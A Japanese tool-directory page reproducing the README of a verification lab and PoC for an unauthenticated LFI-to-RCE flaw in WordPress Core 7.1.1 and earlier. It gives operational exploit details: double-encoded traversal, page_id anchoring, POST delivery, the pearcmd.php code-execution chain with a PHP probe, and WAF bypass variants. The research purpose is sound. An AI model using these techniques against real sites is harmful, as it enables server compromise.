Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-87902 — WordPress Core <= 7.1.1 未認証LFIからRCE - 検証ラボ、PoC、nucleiテンプレート (GHSA-7hp8-65ch-5whp) | Kitploit
ツール/GitHubGitHub/hassham1/cve-2026-87902
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト論文と研究学習と教育ペイロード開発ラボと実践
GitHubhassham1/cve-2026-87902

CVE-2026-87902

1417時間15分前未レビュー

WordPress Core <= 7.1.1 未認証LFIからRCE - 検証ラボ、PoC、nucleiテンプレート (GHSA-7hp8-65ch-5whp)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-87902 - WordPress Core 未認証 LFI → RCE 検証ラボ

CVE-2026-87902 (GHSA-7hp8-65ch-5whp) を、ループバック専用の隔離された Docker ラボで再現・検証するためのセキュリティリサーチ資料です。これは WordPress コアのページテンプレート解決における未認証のローカルファイルインクルージョンであり、リモートコード実行にエスカレート可能です。

  • 影響を受けるバージョン: WordPress 4.7.0 から 7.1.1 (すべてのメンテナンスブランチ)
  • 修正済み: 7.1.2 およびブランチごとのバックポート (4.7.37, 5.9.18, 6.9.9, 7.0.6, …) - 2026年9月22日
  • CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
  • CWE-98 - Include/Require ステートメントのファイル名の不適切な制御

判定

ステータス: 提供されたラボで実証済み。

WordPress 7.1.1 (Twenty Twelve テーマ) では、未認証の攻撃者が pagename クエリ変数を介してテーマディレクトリ外の PHP ファイルをインクルードでき、さらに公式 PHP イメージの標準設定である register_argc_argv = On を利用して、PEAR の pearcmd.php 経由でマーカーファイルを書き込み・実行できます。

root@kitploit:~
WordPress: 7.1.1
Theme:     twentytwelve (page-templates/ present)
PHP:       8.2 (official image, register_argc_argv=On, PEAR present)
Result:    LFI oracle fired (<opml version="1.0">); marker probe executed as
           uid=33(www-data) and self-deleted

同一構成の WordPress 7.1.2 では、オラクルは完全にブロックされます (ネガティブコントロール)。これはコンテナ内の WordPress Web サーバーユーザーとしてのコード実行を実証するものです。root アクセス、コンテナエスケープ、横展開、ホストの侵害を実証するものではありません。

クイックスタート

要件: Docker with Compose v2、Python 3.10+、Docker Hub および wordpress.org (テーマインストール) へのネットワークアクセス。

root@kitploit:~
./lab verify

これは脆弱なラボをビルドし、LFI オラクルと RCE マーカーが発火することを要求し、その後パッチ適用済みラボをビルドしてオラクルが沈黙を保つことを要求します。

別のループバックポートを使用する場合: LAB_PORT=9499 ./lab verify。

その後、./lab reset ですべてを削除します。

期待されるエビデンス

脆弱なコントロール:

root@kitploit:~
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
  evidence: uid=33(www-data) (command `id` ran as the web user)
  cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED

パッチ適用済みコントロール:

root@kitploit:~
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED

HTTP 200、WAF ブロック、またはオラクルマーカーを伴わない部分的なトラバーサルは、証明として受け入れられません。

手動ラボライフサイクル

root@kitploit:~
./lab start vulnerable   # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test               # assert LFI + RCE
./lab start patched      # fresh 7.1.2 lab
./lab test               # assert oracle absence
./lab status
./lab reset              # containers, volumes, state

実行中のラボに対してツールを手動で実行します:

root@kitploit:~
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent

所有している、または明示的にテストを許可されているシステム (バグバウンティのスコープ、書面による契約) の場合、ドライバーは明示的なオーバーライドを要求します:

root@kitploit:~
python3 poc/poc_cve_2026_87902.py --url https://target.example \
  --allow-authorized-non-loopback [--insecure] [--rce]

根本原因

wp-includes/template.php の get_page_template() は、pagename クエリ変数から候補テンプレートファイル名を構築します。3行上の兄弟ブランチはページテンプレートスラッグを validate_file() に通していますが、pagename ブランチはそうしておらず、さらに urldecode() でデコードされた候補を追加でプッシュします:

root@kitploit:~
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // 7.1.2 adds validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}

7.1.2 では、デコードされた候補に validate_file() を適用し、さらに 解決されたすべてのテンプレートパスが通過しなければならない封じ込めゲート (_wp_is_template_path_allowed()) を追加しています。

前提条件

  1. アクティブなテーマ (子テーマ または 親テーマ - locate_template() は両方をチェックします) が、page- で始まるトップレベルディレクトリを含んでいること。レガシーなデフォルトテーマ (Twenty Twelve、Twenty Fourteen) およびいくつかの wp.org テーマ (Neve、Hestia、Sydney) が該当します。調査した商用テーマ (Divi、Avada、Flatsome、Woodmart、Betheme、The7、Enfold、Salient、Jupiter/X、Porto、Houzez、XStore、Kalium、Uncode) は いずれも含んでいません - トラバーサルは解決できません。ミラーソースのリストについては PoC の PRO_THEME_PAGE_DIRS を参照してください。
  2. インクルードされるファイルは .php で終わる必要があります (コードによって追加されます)。
  3. RCE にはさらに register_argc_argv = On と PEAR の pearcmd.php が必要です。

ラボで検証された運用上の注意点 (公開アドバイザリを超えて)

アドバイザリと Patchstack の記事は、動作するリクエストを公開することを控えています。これらの詳細は、このラボで経験的に確立されました:

  1. page_id アンカーは必須です。 解決されない pagename は is_404 を反転させ、そのテンプレートが get_page_template() を完全に覆い隠します。解決可能な公開済みの page_id でクエリをアンカーしてください。
  2. 完全な二重エンコーディングが必要です。 get_posts() は sanitize_title_for_query( wp_basename( … ) ) を介して pagename を書き換えます: 生の .. は - になりますが、%hex シーケンスは生き残ります。get_page_template() 内の追加の urldecode() がトラバーサルを明らかにします。%252e/%252f のみが機能します。
  3. プリティパーマリンクは POST を強制します (redirect_canonical は GET を 301 リダイレクトし、ペイロードを破棄します。非 GET/HEAD の場合は即座に戻ります)。
  4. 正確な深さ: 標準的な docroot 上の page-templates/ から ../ が4つ。
  5. ペイロードは POST ボディからも発火します (WP は $_POST をクエリ変数にマージします) - これが WAF 回避層の基礎です。
  6. pearcmd トランスポートの癖: PHP は $argv トークンを urldecode せず、PEAR の設定シリアライザは両方の引用符スタイルをエスケープします - したがって、生の、引用符なしの、+ 区切りのプローブとなります。

ツールキット

パス目的
poc/poc_cve_2026_87902.py完全な PoC: バージョン + WAF フィンガープリント、テーマ/page-* フォルダ列挙 (wp.org SVN、アセット参照ディスカバリ、調査済み pro テーママップ)、アンカーディスカバリ、8 バリアントの LFI オラクル、比較的空ボディフォールバックオラクル、--rce pearcmd チェーン、--lab docker デモ
poc/triage_cve_2026_87902.pyターゲットごとまたはバッチの判定と、名前付きの失敗ゲート (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE)
poc/bounty_screen.pyスコープ内 のバグバウンティアセットリストを処理: crt.sh ワイルドカード展開 → WP フィルタ → 前提条件スクリーン → 候補ハンドオフ
nuclei/cve-2026-87902.yamlNuclei テンプレート: 安全な LFI オラクル (174 ペイロード: 10 の page-* 残り、二重/三重エンコード層、ID 1–30)

WAF フィンガープリンティングは Imperva/Incapsula、Cloudflare、Akamai、AWS CloudFront/WAF、Sucuri、F5 をカバーします。8 つのオラクルバリアント: 二重エンコード、代替 %25%32%65 表記、パラメータポリューション、三重エンコード - それぞれクエリ文字列と POST ボディ内。マルチパートボディと生スラッシュペイロードはテストされ、拒否されました (WP はこのシンクに対してそれらを処理しません)。

影響を受けるバージョンとテスト済みバージョン

バージョン評価
WordPress 7.1.1LFI + pearcmd RCE をエンドツーエンドで再現
WordPress 6.5.3 / 5.9.17LFI オラクルを再現
WordPress 4.7.0–7.1.1 (その他のブランチ)影響を受けると報告; GHSA ごとのブランチテーブル
WordPress 7.1.2パッチ適用済みネガティブコントロールを再現

リポジトリレイアウト

root@kitploit:~
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│   └── cve-2026-87902.yaml
└── poc/
    ├── bounty_screen.py
    ├── poc_cve_2026_87902.py
    └── triage_cve_2026_87902.py

コミットされていないもの: .lab-state、__pycache__/、スクリーナー出力ファイル。

検証の境界

主張ステータス
テーマディレクトリ外への未認証 LFI証明済み (7.1.1, 6.5.3, 5.9.17)
Web ユーザーとしての pearcmd.php config-create 経由の RCE証明済み (7.1.1 ラボ)
プローブの自己削除 / 永続的なアーティファクトなし証明済み
パッチ適用済みネガティブコントロール (7.1.2)証明済み
すべての中間の影響を受けるリリースのテスト未テスト
実際の商用 WAF に対する WAF バイパスバリアントラボ由来、WAF テストなし
root 権限 / コンテナエスケープ / ホストの侵害主張なし

参考文献

  • GHSA-7hp8-65ch-5whp
  • Patchstack: WordPress 7.1.2 security release - unauthenticated LFI to RCE
  • Hadrian: CVE-2026-87902 working PoC - independent reconstruction (page_id アンカーと二重エンコーディング要件を確認; 比較用の wp-content/index.php 空ボディオラクルの出典。ここでは堅牢化されたサイト向けのフォールバックとして含まれています)
  • dinosn: cve-2026-87902-wordpress-lfi-lab (同じリクエスト形状に到達した独立したラボ; 現在すべてのオラクルヒットに適用されている存在しないターゲットの因果関係コントロールの出典)
  • WordPress 7.1.2 release announcement
  • NVD entry

脆弱性は Robert Ressl によって報告されました。このリポジトリは独立した第三者による分析とツールです。

ライセンス

MIT - LICENSE を参照してください。

安全境界

このリポジトリは、所有している、または明示的にテストを許可されているシステムでのみ実行してください。ラボドライバーは vulnerable/patched 以外のバリアントを拒否し、Python ドライバーは --allow-authorized-non-loopback が指定されない限り非ループバックターゲットを拒否し、Compose ポートは 127.0.0.1 にバインドされています。

開示の取り扱いについては SECURITY.md を参照してください。このリポジトリには、本番ターゲット、顧客データ、アクセストークン、実際のシステムからのエビデンスは含まれていません。

具体的には:

  • Docker は WordPress を 127.0.0.1 のみで公開します。
  • デフォルトの PoC モードは 無害な LFI オラクル です: wp-links-opml.php (OPML ドキュメントを出力する標準コアファイル) をインクルードします。
  • --rce はオプトインであり、公開文書化された pearcmd.php の config-create 技術を介して 引用符なしの自己削除 マーカープローブ (<?=id,unlink(__FILE__)?>) を書き込みます。プローブはその単一実行で自身を削除し、PoC は削除を検証します。シェル、コールバック、永続化はありません。
  • ラボは start ごとにクリーンな公式イメージから再プロビジョニングします。ターゲットのインストルメンテーションはありません。
  • リクエストは単一ホスト、順次、レート制限されています。大量スキャンはありません。
ツールをダウンロード